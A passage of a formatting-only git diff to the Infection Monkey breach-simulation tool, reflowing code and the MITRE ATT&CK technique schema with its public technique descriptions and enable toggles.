message + (self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE)) * chr( - self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE) + self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE) ) def _unpad(self, message: str): - return message[0 : -ord(message[len(message) - 1])] + return message[0: -ord(message[len(message) - 1])] def enc(self, message: str): cipher_iv = Random.new().read(AES.block_size) @@ -47,9 +47,9 @@ def enc(self, message: str): def dec(self, enc_message): enc_message = base64.b64decode(enc_message) - cipher_iv = enc_message[0 : AES.block_size] + cipher_iv = enc_message[0: AES.block_size] cipher = AES.new(self._cipher_key, AES.MODE_CBC, cipher_iv) - return self._unpad(cipher.decrypt(enc_message[AES.block_size :]).decode()) + return self._unpad(cipher.decrypt(enc_message[AES.block_size:]).decode()) def initialize_encryptor(password_file_dir): diff --git a/monkey/monkey_island/cc/server_utils/island_logger.py b/monkey/monkey_island/cc/server_utils/island_logger.py index a32f6505f08..45c3ebddad4 100644 --- a/monkey/monkey_island/cc/server_utils/island_logger.py +++ b/monkey/monkey_island/cc/server_utils/island_logger.py @@ -9,9 +9,9 @@ def json_setup_logging( - default_path=DEFAULT_LOGGER_CONFIG_PATH, - default_level=logging.INFO, - env_key="LOG_CFG", + default_path=DEFAULT_LOGGER_CONFIG_PATH, + default_level=logging.INFO, + env_key="LOG_CFG", ): """ Setup the logging configuration diff --git a/monkey/monkey_island/cc/server_utils/test_island_logger.py b/monkey/monkey_island/cc/server_utils/test_island_logger.py index af58f4b752e..caebd31bccf 100644 --- a/monkey/monkey_island/cc/server_utils/test_island_logger.py +++ b/monkey/monkey_island/cc/server_utils/test_island_logger.py @@ -7,7 +7,7 @@ from monkey_island.cc.server_utils.island_logger import json_setup_logging TEST_LOGGER_CONFIG_PATH = os.path.join( - MONKEY_ISLAND_ABS_PATH, "cc", "testing", "logger_config.json" + MONKEY_ISLAND_ABS_PATH, "cc", "testing", "logger_config.json" ) diff --git a/monkey/monkey_island/cc/services/attack/attack_config.py b/monkey/monkey_island/cc/services/attack/attack_config.py index faff5f71bab..463753d57e4 100644 --- a/monkey/monkey_island/cc/services/attack/attack_config.py +++ b/monkey/monkey_island/cc/services/attack/attack_config.py @@ -17,7 +17,7 @@ def __init__(self): @staticmethod def get_config(): - config = mongo.db.attack.find_one({"name": "newconfig"})["properties"] + config = mongo.db.attack.find_one({"name":"newconfig"})["properties"] return config @staticmethod @@ -44,7 +44,7 @@ def reset_config(): @staticmethod def update_config(config_json): - mongo.db.attack.update({"name": "newconfig"}, {"$set": config_json}, upsert=True) + mongo.db.attack.update({"name":"newconfig"}, {"$set":config_json}, upsert=True) return True @staticmethod @@ -63,7 +63,8 @@ def apply_to_monkey_config(): @staticmethod def set_arrays(attack_techniques, monkey_config, monkey_schema): """ - Sets exploiters/scanners/PBAs and other array type fields in monkey's config according to ATT&CK matrix + Sets exploiters/scanners/PBAs and other array type fields in monkey's config according to + ATT&CK matrix :param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...} :param monkey_config: Monkey island's configuration :param monkey_schema: Monkey configuration schema @@ -73,17 +74,18 @@ def set_arrays(attack_techniques, monkey_config, monkey_schema): # Check if current array field has attack_techniques assigned to it if "attack_techniques" in array_field and array_field["attack_techniques"]: should_remove = not AttackConfig.should_enable_field( - array_field["attack_techniques"], attack_techniques + array_field["attack_techniques"], attack_techniques ) # If exploiter's attack technique is disabled, disable the exploiter/scanner/PBA AttackConfig.r_alter_array( - monkey_config, key, array_field["enum"][0], remove=should_remove + monkey_config, key, array_field["enum"][0], remove=should_remove ) @staticmethod def set_booleans(attack_techniques, monkey_config, monkey_schema): """ - Sets boolean type fields, like "should use mimikatz?" in monkey's config according to ATT&CK matrix + Sets boolean type fields, like "should use mimikatz?" in monkey's config according to + ATT&CK matrix :param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...} :param monkey_config: Monkey island's configuration :param monkey_schema: Monkey configuration schema @@ -94,9 +96,11 @@ def set_booleans(attack_techniques, monkey_config, monkey_schema): @staticmethod def r_set_booleans(path, value, attack_techniques, monkey_config): """ - Recursively walks trough monkey configuration (DFS) to find which boolean fields needs to be set and sets them + Recursively walks trough monkey configuration (DFS) to find which boolean fields needs to + be set and sets them according to ATT&CK matrix. - :param path: Property names that leads to current value. E.g. ['monkey', 'system_info', 'should_use_mimikatz'] + :param path: Property names that leads to current value. E.g. ['monkey', 'system_info', + 'should_use_mimikatz'] :param value: Value of config property :param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...} :param monkey_config: Monkey island's configuration @@ -105,15 +109,16 @@ def r_set_booleans(path, value, attack_techniques, monkey_config): dictionary = {} # If 'value' is a boolean value that should be set: if ( - "type" in value - and value["type"] == "boolean" - and "attack_techniques" in value - and value["attack_techniques"] + "type" in value + and value["type"] == "boolean" + and "attack_techniques" in value + and value["attack_techniques"] ): AttackConfig.set_bool_conf_val( - path, - AttackConfig.should_enable_field(value["attack_techniques"], attack_techniques), - monkey_config, + path, + AttackConfig.should_enable_field(value["attack_techniques"], + attack_techniques), + monkey_config, ) # If 'value' is dict, we go over each of it's fields to search for booleans elif "properties" in value: @@ -130,7 +135,8 @@ def r_set_booleans(path, value, attack_techniques, monkey_config): def set_bool_conf_val(path, val, monkey_config): """ Changes monkey's configuration by setting one of its boolean fields value - :param path: Path to boolean value in monkey's configuration. ['monkey', 'system_info', 'should_use_mimikatz'] + :param path: Path to boolean value in monkey's configuration. ['monkey', 'system_info', + 'should_use_mimikatz'] :param val: Boolean :param monkey_config: Monkey's configuration """ @@ -150,7 +156,7 @@ def should_enable_field(field_techniques, users_techniques): return False except KeyError: logger.error( - "Attack technique %s is defined in schema, but not implemented." % technique + "Attack technique %s is defined in schema, but not implemented." % technique ) return True @@ -196,7 +202,7 @@ def get_techniques_for_report(): for type_name, attack_type in list(attack_config.items()): for key, technique in list(attack_type["properties"].items()): techniques[key] = { - "selected": technique["value"], - "type": SCHEMA["properties"][type_name]["title"], + "selected":technique["value"], + "type":SCHEMA["properties"][type_name]["title"], } return techniques diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 5845db5023c..a448e83c50e 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -50,42 +50,42 @@ LOG = logging.getLogger(__name__) TECHNIQUES = { - "T1210": T1210.T1210, - "T1197": T1197.T1197, - "T1110": T1110.T1110, - "T1075": T1075.T1075, - "T1003": T1003.T1003, - "T1059": T1059.T1059, - "T1086": T1086.T1086, - "T1082": T1082.T1082, - "T1145": T1145.T1145, - "T1065": T1065.T1065, - "T1105": T1105.T1105, - "T1035": T1035.T1035, - "T1129": T1129.T1129, - "T1106": T1106.T1106, - "T1107": T1107.T1107, - "T1188": T1188.T1188, - "T1090": T1090.T1090, - "T1041": T1041.T1041, - "T1222": T1222.T1222, - "T1005": T1005.T1005, - "T1018": T1018.T1018, - "T1016": T1016.T1016, - "T1021": T1021.T1021, - "T1064": T1064.T1064, - "T1136": T1136.T1136, - "T1156": T1156.T1156, - "T1504": T1504.T1504, - "T1158": T1158.T1158, - "T1154": T1154.T1154, - "T1166": T1166.T1166, - "T1168": T1168.T1168, - "T1053": T1053.T1053, - "T1099": T1099.T1099, - "T1216": T1216.T1216, - "T1087": T1087.T1087, - "T1146": T1146.T1146, + "T1210":T1210.T1210, + "T1197":T1197.T1197, + "T1110":T1110.T1110, + "T1075":T1075.T1075, + "T1003":T1003.T1003, + "T1059":T1059.T1059, + "T1086":T1086.T1086, + "T1082":T1082.T1082, + "T1145":T1145.T1145, + "T1065":T1065.T1065, + "T1105":T1105.T1105, + "T1035":T1035.T1035, + "T1129":T1129.T1129, + "T1106":T1106.T1106, + "T1107":T1107.T1107, + "T1188":T1188.T1188, + "T1090":T1090.T1090, + "T1041":T1041.T1041, + "T1222":T1222.T1222, + "T1005":T1005.T1005, + "T1018":T1018.T1018, + "T1016":T1016.T1016, + "T1021":T1021.T1021, + "T1064":T1064.T1064, + "T1136":T1136.T1136, + "T1156":T1156.T1156, + "T1504":T1504.T1504, + "T1158":T1158.T1158, + "T1154":T1154.T1154, + "T1166":T1166.T1166, + "T1168":T1168.T1168, + "T1053":T1053.T1053, + "T1099":T1099.T1099, + "T1216":T1216.T1216, + "T1087":T1087.T1087, + "T1146":T1146.T1146, } REPORT_NAME = "new_report" @@ -102,21 +102,21 @@ def generate_new_report(): :return: Report object """ report = { - "techniques": {}, - "meta": {"latest_monkey_modifytime": Monkey.get_latest_modifytime()}, - "name": REPORT_NAME, + "techniques":{}, + "meta":{"latest_monkey_modifytime":Monkey.get_latest_modifytime()}, + "name":REPORT_NAME, } for tech_id, tech_info in list(AttackConfig.get_techniques_for_report().items()): try: technique_report_data = TECHNIQUES[tech_id].get_report_data() technique_report_data.update(tech_info) - report["techniques"].update({tech_id: technique_report_data}) + report["techniques"].update({tech_id:technique_report_data}) except KeyError as e: LOG.error( - "Attack technique does not have it's report component added " - "to attack report service. %s" % e + "Attack technique does not have it's report component added " + "to attack report service. %s" % e ) - mongo.db.attack_report.replace_one({"name": REPORT_NAME}, report, upsert=True) + mongo.db.attack_report.replace_one({"name":REPORT_NAME}, report, upsert=True) return report @staticmethod @@ -127,9 +127,9 @@ def get_latest_attack_telem_time(): """ return [ x["timestamp"] - for x in mongo.db.telemetry.find({"telem_category": "attack"}) - .sort("timestamp", -1) - .limit(1) + for x in mongo.db.telemetry.find({"telem_category":"attack"}) + .sort("timestamp", -1) + .limit(1) ][0] @staticmethod @@ -140,7 +140,7 @@ def get_latest_report(): """ if AttackReportService.is_report_generated(): monkey_modifytime = Monkey.get_latest_modifytime() - latest_report = mongo.db.attack_report.find_one({"name": REPORT_NAME}) + latest_report = mongo.db.attack_report.find_one({"name":REPORT_NAME}) report_modifytime = latest_report["meta"]["latest_monkey_modifytime"] if monkey_modifytime and report_modifytime and monkey_modifytime == report_modifytime: return latest_report @@ -161,5 +161,5 @@ def delete_saved_report_if_exists(): delete_result = mongo.db.attack_report.delete_many({}) if mongo.db.attack_report.count_documents({}) != 0: raise RuntimeError( - "Attack Report cache not cleared. DeleteResult: " + delete_result.raw_result + "Attack Report cache not cleared. DeleteResult: " + delete_result.raw_result ) diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index f19295c5aa4..ed542846184 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -1,417 +1,455 @@ SCHEMA = { - "title": "ATT&CK configuration", - "type": "object", - "properties": { - "execution": { - "title": "Execution", - "type": "object", - "link": "https://attack.mitre.org/tactics/TA0002/", - "properties": { - "T1059": { - "title": "Command line interface", - "type": "bool", - "value": True, - "necessary": True, - "link": "https://attack.mitre.org/techniques/T1059", - "description": "Adversaries may use command-line interfaces to interact with systems " - "and execute other software during the course of an operation.", - }, - "T1129": { - "title": "Execution through module load", - "type": "bool", - "value": True, - "necessary": False, - "link": "https://attack.mitre.org/techniques/T1129", - "description": "The Windows module loader can be instructed to load DLLs from arbitrary " - "local paths and arbitrary Universal Naming Convention (UNC) network paths.", - "depends_on": ["T1078", "T1003"], - }, - "T1106": { - "title": "Execution through API", - "type": "bool", - "value": True, - "necessary": False, - "link": "https://attack.mitre.org/techniques/T1106", - "description": "Adversary tools may directly use the Windows application " - "programming interface (API) to execute binaries.", - "depends_on": ["T1210"], - }, - "T1086": { - "title": "Powershell", - "type": "bool", - "value": True, - "necessary": True, - "link": "https://attack.mitre.org/techniques/T1086", - "description": "Adversaries can use PowerShell to perform a number of actions," - " including discovery of information and execution of code.", - }, - "T1064": { - "title": "Scripting", - "type": "bool", - "value": True, - "necessary": True, - "link": "https://attack.mitre.org/techniques/T1064", - "description": "Adversaries may use scripts to aid in operations and " - "perform multiple actions that would otherwise be manual.", - }, - "T1035": { - "title": "Service execution", - "type": "bool", - "value": True, - "necessary": False, - "link": "https://attack.mitre.org/techniques/T1035", - "description": "Adversaries may execute a binary, command, or script via a method " - "that interacts with Windows services, such as the Service Control Manager.", - "depends_on": ["T1210"], - }, - "T1154": { - "title": "Trap", - "type": "bool", - "value": True, - "necessary": False, - "link": "https://attack.mitre.org/techniques/T1154", - "description": "Adversaries can use the trap command to register code to be executed " - "when the shell encounters specific interrupts.", + "title":"ATT&CK configuration", + "type":"object", + "properties":{ + "execution":{ + "title":"Execution", + "type":"object", + "link":"https://attack.mitre.org/tactics/TA0002/", + "properties":{ + "T1059":{ + "title":"Command line interface", + "type":"bool", + "value":True, + "necessary":True, + "link":"https://attack.mitre.org/techniques/T1059", + "description":"Adversaries may use command-line interfaces to interact with " + "systems " + "and execute other software during the course of an operation.", + }, + "T1129":{ + "title":"Execution through module load", + "type":"bool", + "value":True, + "necessary":False, + "link":"https://attack.mitre.org/techniques/T1129", + "description":"The Windows module loader can be instructed to load DLLs from " + "arbitrary " + "local paths and arbitrary Universal Naming Convention (UNC) " + "network paths.", + "depends_on":["T1078", "T1003"], + }, + "T1106":{ + "title":"Execution through API", + "type":"bool", + "value":True, + "necessary":False, + "link":"https://attack.mitre.org/techniques/T1106", + "description":"Adversary tools may directly use the Windows application " + "programming interface (API) to execute binaries.", + "depends_on":["T1210"], + }, + "T1086":{ + "title":"Powershell", + "type":"bool", + "value":True, + "necessary":True, + "link":"https://attack.mitre.org/techniques/T1086", + "description":"Adversaries can use PowerShell to perform a number of actions," + " including discovery of information and execution of code.", + }, + "T1064":{ + "title":"Scripting", + "type":"bool", + "value":True, + "necessary":True, + "link":"https://attack.mitre.org/techniques/T1064", + "description":"Adversaries may use scripts to aid in operations and " + "perform multiple actions that would otherwise be manual.", + }, + "T1035":{ + "title":"Service execution", + "type":"bool", + "value":True, + "necessary":False, + "link":"https://attack.mitre.org/techniques/T1035", + "description":"Adversaries may execute a binary, command, or script via a " + "method " + "that interacts with Windows services, such as the Service " + "Control Manager.", + "depends_on":["T1210"], + }, + "T1154":{ + "title":"Trap", + "type":"bool", + "value":True, + "necessary":False, + "link":"https://attack.mitre.org/techniques/T1154", + "description":"Adversaries can use the trap command to register code to be " + "executed " + "when the shell encounters specific interrupts.", }, }, }, - "persistence": { - "title": "Persistence", - "type": "object", - "link": "https://attack.mitre.org/tactics/TA0003/", - "properties": { - "T1156": { - "title": ".bash_profile and .bashrc", - "type": "bool", - "value": True, - "necessary": False, - "link": "https://attack.mitre.org/techniques/T1156", - "description": "Adversaries may abuse shell scripts by " - "inserting arbitrary shell commands to gain persistence, which " - "would be executed every time the user logs in or opens a new shell.", - "depends_on": ["T1504"], - }, - "T1136": { - "title": "Create account", - "type": "bool", - "value": True, - "necessary": False, - "link": "https://attack.mitre.org/techniques/T1136", - "description": "Adversaries with a sufficient level of access " - "may create a local system, domain, or cloud tenant account.", - }, - "T1158": { - "title": "Hidden files and directories", - "type": "bool", - "value": True, - "necessary": False, - "link": "https://attack.mitre.org/techniques/T1158", - "description": "Adversaries can hide files and folders on the system " - "and evade a typical user or system analysis that does not " - "incorporate investigation of hidden files.", - }, - "T1168": { - "title": "Local job scheduling", - "type": "bool", - "value": True, - "necessary": False, - "link": "https://attack.mitre.org/techniques/T1168/", - "description": "Linux supports multiple methods for creating pre-scheduled and " - "periodic background jobs. Job scheduling can be used by adversaries to " - "schedule running malicious code at some specified date and time.", - "depends_on": ["T1053"], - }, - "T1504": { - "title": "PowerShell profile", - "type": "bool", - "value": True, - "necessary": False, - "link": "https://attack.mitre.org/techniques/T1504", - "description": "Adversaries may gain persistence and elevate privileges " - "in certain situations by abusing PowerShell profiles which " - "are scripts that run when PowerShell starts.", - "depends_on": ["T1156"], - }, - "T1053": { - "title": "Scheduled task", - "type": "bool", - "value": True, - "necessary": False, - "link": "https://attack.mitre.org/techniques/T1053", - "description": "Windows utilities can be used to schedule programs or scripts to " - "be executed at a date and time. An adversary may use task scheduling to " - "execute programs at system startup or on a scheduled basis for persistence.", - "depends_on": ["T1168"], - }, - "T1166": { - "title": "Setuid and Setgid", - "type": "bool", - "value": True, - "necessary": False, - "link": "https://attack.mitre.org/techniques/T1166", - "description": "Adversaries can set the setuid or setgid bits to get code running in " - "a different user’s context.", + "persistence":{ + "title":"Persistence", + "type":"object", + "link":"https://attack.mitre.org/tactics/TA0003/", + "properties":{ + "T1156":{ + "title":".bash_profile and .bashrc", + "type":"bool", + "value":True, + "necessary":False, + "link":"https://attack.mitre.org/techniques/T1156", + "description":"Adversaries may abuse shell scripts by " + "inserting arbitrary shell commands to gain persistence, which " + "would be executed every time the user logs in or opens a new " + "shell.", + "depends_on":["T1504"], + }, + "T1136":{ + "title":"Create account", + "type":"bool", + "value":True, + "necessary":False, + "link":"https://attack.mitre.org/techniques/T1136", + "description":"Adversaries with a sufficient level of access " + "may create a local system, domain, or cloud tenant account.", + }, + "T1158":{ + "title":"Hidden files and directories", + "type":"bool", + "value":True, + "necessary":False, + "link":"https://attack.mitre.org/techniques/T1158", + "description":"Adversaries can hide files and folders on the system " + "and evade a typical user or system analysis that does not " + "incorporate investigation of hidden files.", + }, + "T1168":{ + "title":"Local job scheduling", + "type":"bool", + "value":True, + "necessary":False, + "link":"https://attack.mitre.org/techniques/T1168/", + "description":"Linux supports multiple methods for creating pre-scheduled and " + "periodic background jobs. Job scheduling can be used by " + "adversaries to " + "schedule running malicious code at some specified date and " + "time.", + "depends_on":["T1053"], + }, + "T1504":{ + "title":"PowerShell profile", + "type":"bool", + "value":True, + "necessary":False, + "link":"https://attack.mitre.org/techniques/T1504", + "description":"Adversaries may gain persistence and elevate privileges " + "in certain situations by abusing PowerShell profiles which " + "are scripts that run when PowerShell starts.", + "depends_on":["T1156"], + }, + "T1053":{ + "title":"Scheduled task", + "type":"bool", + "value":True, + "necessary":False, + "link":"https://attack.mitre.org/techniques/T1053", + "description":"Windows utilities can be used to schedule programs or scripts " + "to " + "be executed at a date and time. An adversary may use task " + "scheduling to " + "execute programs at system startup or on a scheduled basis for " + "persistence.", + "depends_on":["T1168"], + }, + "T1166":{ + "title":"Setuid and Setgid", + "type":"bool", + "value":True, + "necessary":False, + "link":"https://attack.mitre.org/techniques/T1166", + "description":"Adversaries can set the setuid or setgid bits to get code " + "running in " + "a different user’s context.", }, }, }, - "defence_evasion": { - "title": "Defence evasion", - "type": "object", - "link": "https://attack.mitre.org/tactics/TA0005/", - "properties": { - "T1197": { - "title": "BITS jobs", - "type": "bool", - "value": True, - "necessary": True, - "link": "https://attack.mitre.org/techniques/T1197", - "description": "Adversaries may abuse BITS to download, execute, " - "and even clean up after running malicious code.", - }, - "T1146": { - "title": "Clear command history", - "type": "bool", - "value": False, - "necessary": False, - "link": "https://attack.mitre.org/techniques/T1146", - "description": "Adversaries may clear/disable command history of a compromised " - "account to conceal the actions undertaken during an intrusion.", - }, - "T1107": { - "title": "File Deletion", - "type": "bool", - "value": True, - "necessary": True, - "link": "https://attack.mitre.org/techniques/T1107", - "description": "Adversaries may remove files over the course of an intrusion " - "to keep their footprint low or remove them at the end as part " - "of the post-intrusion cleanup process.", - }, - "T1222": { - "title": "File permissions modification", - "type": "bool", - "value": True, - "necessary": True, - "link": "https://attack.mitre.org/techniques/T1222", - "description": "Adversaries may modify file permissions/attributes to evade intended DACLs.", - }, - "T1099": { - "title": "Timestomping", - "type": "bool", - "value": True, - "necessary": False, - "link": "https://attack.mitre.org/techniques/T1099", - "description": "Adversaries may modify file time attributes to hide new/changes to existing " - "files to avoid attention from forensic investigators or file analysis tools.", - }, - "T1216": { - "title": "Signed script proxy execution", - "type": "bool", - "value": False, - "necessary": False, - "link": "https://attack.mitre.org/techniques/T1216", - "description": "Adversaries may use scripts signed with trusted certificates to " - "proxy execution of malicious files on Windows systems.", + "defence_evasion":{ + "title":"Defence evasion", + "type":"object", + "link":"https://attack.mitre.org/tactics/TA0005/", + "properties":{ + "T1197":{ + "title":"BITS jobs", + "type":"bool", + "value":True, + "necessary":True, + "link":"https://attack.mitre.org/techniques/T1197", + "description":"Adversaries may abuse BITS to download, execute, " + "and even clean up after running malicious code.", + }, + "T1146":{ + "title":"Clear command history", + "type":"bool", + "value":False, + "necessary":False, + "link":"https://attack.mitre.org/techniques/T1146", + "description":"Adversaries may clear/disable command history of a compromised " + "account to conceal the actions undertaken during an intrusion.", + }, + "T1107":{ + "title":"File Deletion", + "type":"bool", + "value":True, + "necessary":True, + "link":"https://attack.mitre.org/techniques/T1107", + "description":"Adversaries may remove files over the course of an intrusion " + "to keep their footprint low or remove them at the end as part " + "of the post-intrusion cleanup process.", + }, + "T1222":{ + "title":"File permissions modification", + "type":"bool", + "value":True, + "necessary":True, + "link":"https://attack.mitre.org/techniques/T1222", + "description":"Adversaries may modify file permissions/attributes to evade " + "intended DACLs.", + }, + "T1099":{ + "title":"Timestomping", + "type":"bool", + "value":True, + "necessary":False, + "link":"https://attack.mitre.org/techniques/T1099", + "description":"Adversaries may modify file time attributes to hide " + "new/changes to existing " + "files to avoid attention from forensic investigators or file " + "analysis tools.", + }, + "T1216":{ + "title":"Signed script proxy execution", + "type":"bool", + "value":False, + "necessary":False, + "link":"https://attack.mitre.org/techniques/T1216", + "description":"Adversaries may use scripts signed with trusted certificates to " + "proxy execution of malicious files on Windows systems.", }, }, }, - "credential_access": { - "title": "Credential access", - "type": "object", - "link": "https://attack.mitre.org/tactics/TA0006/", - "properties": { - "T1110": { - "title": "Brute force", - "type": "bool", - "value": True, - "necessary": False, - "link": "https://attack.mitre.org/techniques/T1110", - "description": "Adversaries may use brute force techniques to attempt access to accounts " - "when passwords are unknown or when password hashes are obtained.", - "depends_on": ["T1210", "T1021"], - }, - "T1003": { - "title": "Credential dumping", - "type": "bool", - "value": True, - "necessary": False, - "link": "https://attack.mitre.org/techniques/T1003", - "description": "Mapped with T1078 Valid Accounts because both techniques require" - " same credential harvesting modules. " - "Credential dumping is the process of obtaining account login and password " - "information, normally in the form of a hash or a clear text password, " - "from the operating system and software.", - "depends_on": ["T1078"], - }, - "T1145": { - "title": "Private keys", - "type": "bool", - "value": True, - "necessary": False, - "link": "https://attack.mitre.org/techniques/T1145", - "description": "Adversaries may gather private keys from compromised systems for use in " - "authenticating to Remote Services like SSH or for use in decrypting " - "other collected files such as email.", - "depends_on": ["T1110", "T1210"], + "credential_access":{ + "title":"Credential access", + "type":"object", + "link":"https://attack.mitre.org/tactics/TA0006/", + "properties":{ + "T1110":{ + "title":"Brute force", + "type":"bool", + "value":True, + "necessary":False, + "link":"https://attack.mitre.org/techniques/T1110", + "description":"Adversaries may use brute force techniques to attempt access " + "to accounts " + "when passwords are unknown or when password hashes are " + "obtained.", + "depends_on":["T1210", "T1021"], + }, + "T1003":{ + "title":"Credential dumping", + "type":"bool", + "value":True, + "necessary":False, + "link":"https://attack.mitre.org/techniques/T1003", + "description":"Mapped with T1078 Valid Accounts because both techniques require" + " same credential harvesting modules. " + "Credential dumping is the process of obtaining account login " + "and password " + "information, normally in the form of a hash or a clear text " + "password, " + "from the operating system and software.", + "depends_on":["T1078"], + }, + "T1145":{ + "title":"Private keys", + "type":"bool", + "value":True, + "necessary":False, + "link":"https://attack.mitre.org/techniques/T1145", + "description":"Adversaries may gather private keys from compromised systems " + "for use in " + "authenticating to Remote Services like SSH or for use in " + "decrypting " + "other collected files such as email.", + "depends_on":["T1110", "T1210"], }, }, }, - "discovery": { - "title": "Discovery", - "type": "object", - "link": "https://attack.mitre.org/tactics/TA0007/", - "properties": { - "T1087": { - "title": "Account Discovery", - "type": "bool", - "value": True, - "necessary": False, - "link": "https://attack.mitre.org/techniques/T1087", - "description": "Adversaries may attempt to get a listing of accounts on a system or " - "within an environment. This information can help adversaries determine which " - "accounts exist to aid in follow-on behavior.", - }, - "T1018": { - "title": "Remote System Discovery", - "type": "bool", - "value": True, - "necessary": True, - "link": "https://attack.mitre.org/techniques/T1018", - "description": "Adversaries will likely attempt to get a listing of other systems by IP address, " - "hostname, or other logical identifier on a network for lateral movement.", - }, - "T1082": { - "title": "System information discovery", - "type": "bool", - "value": True, - "necessary": False, - "link": "https://attack.mitre.org/techniques/T1082", - "depends_on": ["T1016", "T1005"], - "description": "An adversary may attempt to get detailed information about the " - "operating system and hardware, including version, patches, hotfixes, " - "service packs, and architecture.", - }, - "T1016": { - "title": "System network configuration discovery", - "type": "bool", - "value": True, - "necessary": False, - "link": "https://attack.mitre.org/techniques/T1016", - "depends_on": ["T1005", "T1082"], - "description": "Adversaries will likely look for details about the network configuration " - "and settings of systems they access or through information discovery" - " of remote systems.", + "discovery":{ + "title":"Discovery", + "type":"object", + "link":"https://attack.mitre.org/tactics/TA0007/", + "properties":{ + "T1087":{ + "title":"Account Discovery", + "type":"bool", + "value":True, + "necessary":False, + "link":"https://attack.mitre.org/techniques/T1087", + "description":"Adversaries may attempt to get a listing of accounts on a " + "system or " + "within an environment. This information can help adversaries " + "determine which " + "accounts exist to aid in follow-on behavior.", + }, + "T1018":{ + "title":"Remote System Discovery", + "type":"bool", + "value":True, + "necessary":True, + "link":"https://attack.mitre.org/techniques/T1018", + "description":"Adversaries will likely attempt to get a listing of other " + "systems by IP address, " + "hostname, or other logical identifier on a network for lateral" + " movement.", + }, + "T1082":{ + "title":"System information discovery", + "type":"bool", + "value":True, + "necessary":False, + "link":"https://attack.mitre.org/techniques/T1082", + "depends_on":["T1016", "T1005"], + "description":"An adversary may attempt to get detailed information about the " + "operating system and hardware, including version, patches, " + "hotfixes, " + "service packs, and architecture.", + }, + "T1016":{ + "title":"System network configuration discovery", + "type":"bool", + "value":True, + "necessary":False, + "link":"https://attack.mitre.org/techniques/T1016", + "depends_on":["T1005", "T1082"], + "description":"Adversaries will likely look for details about the network " + "configuration " + "and settings of systems they access or through information " + "discovery" + " of remote systems.", }, }, }, - "lateral_movement": { - "title": "Lateral movement", - "type": "object", - "link": "https://attack.mitre.org/tactics/TA0008/", - "properties": { - "T1210": { - "title": "Exploitation of Remote services", - "type": "bool", - "value": True, - "necessary": False, - "link": "https://attack.mitre.org/techniques/T1210", - "description": "Exploitation of a software vulnerability occurs when an adversary " - "takes advantage of a programming error in a program, service, or within the " - "operating system software or kernel itself to execute adversary-controlled code.", - }, - "T1075": { - "title": "Pass the hash", - "type": "bool", - "value": True, - "necessary": False, - "link": "https://attack.mitre.org/techniques/T1075", - "description": "Pass the hash (PtH) is a method of authenticating as a user without " - "having access to the user's cleartext password.", - }, - "T1105": { - "title": "Remote file copy", - "type": "bool", - "value": True, - "necessary": True, - "link": "https://attack.mitre.org/techniques/T1105", - "description": "Files may be copied from one system to another to stage " - "adversary tools or other files over the course of an operation.", - }, - "T1021": { - "title": "Remote services", - "type": "bool", - "value": True, - "necessary": False, - "link": "https://attack.mitre.org/techniques/T1021", - "depends_on": ["T1110"], - "description": "An adversary may use Valid Accounts to log into a service" - " specifically designed to accept remote connections.", + "lateral_movement":{ + "title":"Lateral movement", + "type":"object", + "link":"https://attack.mitre.org/tactics/TA0008/", + "properties":{ + "T1210":{ + "title":"Exploitation of Remote services", + "type":"bool", + "value":True, + "necessary":False, + "link":"https://attack.mitre.org/techniques/T1210", + "description":"Exploitation of a software vulnerability occurs when an " + "adversary " + "takes advantage of a programming error in a program, service, " + "or within the " + "operating system software or kernel itself to execute " + "adversary-controlled code.", + }, + "T1075":{ + "title":"Pass the hash", + "type":"bool", + "value":True, + "necessary":False, + "link":"https://attack.mitre.org/techniques/T1075", + "description":"Pass the hash (PtH) is a method of authenticating as a user " + "without " + "having access to the user's cleartext password.", + }, + "T1105":{ + "title":"Remote file copy", + "type":"bool", + "value":True, + "necessary":True, + "link":"https://attack.mitre.org/techniques/T1105", + "description":"Files may be copied from one system to another to stage " + "adversary tools or other files over the course of an operation.", + }, + "T1021":{ + "title":"Remote services", + "type":"bool", + "value":True, + "necessary":False, + "link":"https://attack.mitre.org/techniques/T1021", + "depends_on":["T1110"], + "description":"An adversary may use Valid Accounts to log into a service" + " specifically designed to accept remote connections.", }, }, }, - "collection": { - "title": "Collection", - "type": "object", - "link": "https://attack.mitre.org/tactics/TA0009/", - "properties": { - "T1005": { - "title": "Data from local system", - "type": "bool", - "value": True, - "necessary": False, - "link": "https://attack.mitre.org/techniques/T1005", - "depends_on": ["T1016", "T1082"], - "description": "Sensitive data can be collected from local system sources, such as the file system " - "or databases of information residing on the system prior to Exfiltration.", + "collection":{ + "title":"Collection", + "type":"object", + "link":"https://attack.mitre.org/tactics/TA0009/", + "properties":{ + "T1005":{ + "title":"Data from local system", + "type":"bool", + "value":True, + "necessary":False, + "link":"https://attack.mitre.org/techniques/T1005", + "depends_on":["T1016", "T1082"], + "description":"Sensitive data can be collected from local system sources, " + "such as the file system " + "or databases of information residing on the system prior to " + "Exfiltration.", } }, }, - "command_and_control": { - "title": "Command and Control", - "type": "object", - "link": "https://attack.mitre.org/tactics/TA0011/", - "properties": { - "T1090": { - "title": "Connection proxy", - "type": "bool", - "value": True, - "necessary": True, - "link": "https://attack.mitre.org/techniques/T1090", - "description": "A connection proxy is used to direct network traffic between systems " - "or act as an intermediary for network communications.", - }, - "T1065": { - "title": "Uncommonly used port", - "type": "bool", - "value": True, - "necessary": True, - "link": "https://attack.mitre.org/techniques/T1065", - "description": "Adversaries may conduct C2 communications over a non-standard " - "port to bypass proxies and firewalls that have been improperly configured.", - }, - "T1188": { - "title": "Multi-hop proxy", - "type": "bool", - "value": True, - "necessary": True, - "link": "https://attack.mitre.org/techniques/T1188", - "description": "To disguise the source of malicious traffic, " - "adversaries may chain together multiple proxies.", + "command_and_control":{ + "title":"Command and Control", + "type":"object", + "link":"https://attack.mitre.org/tactics/TA0011/", + "properties":{ + "T1090":{ + "title":"Connection proxy", + "type":"bool", + 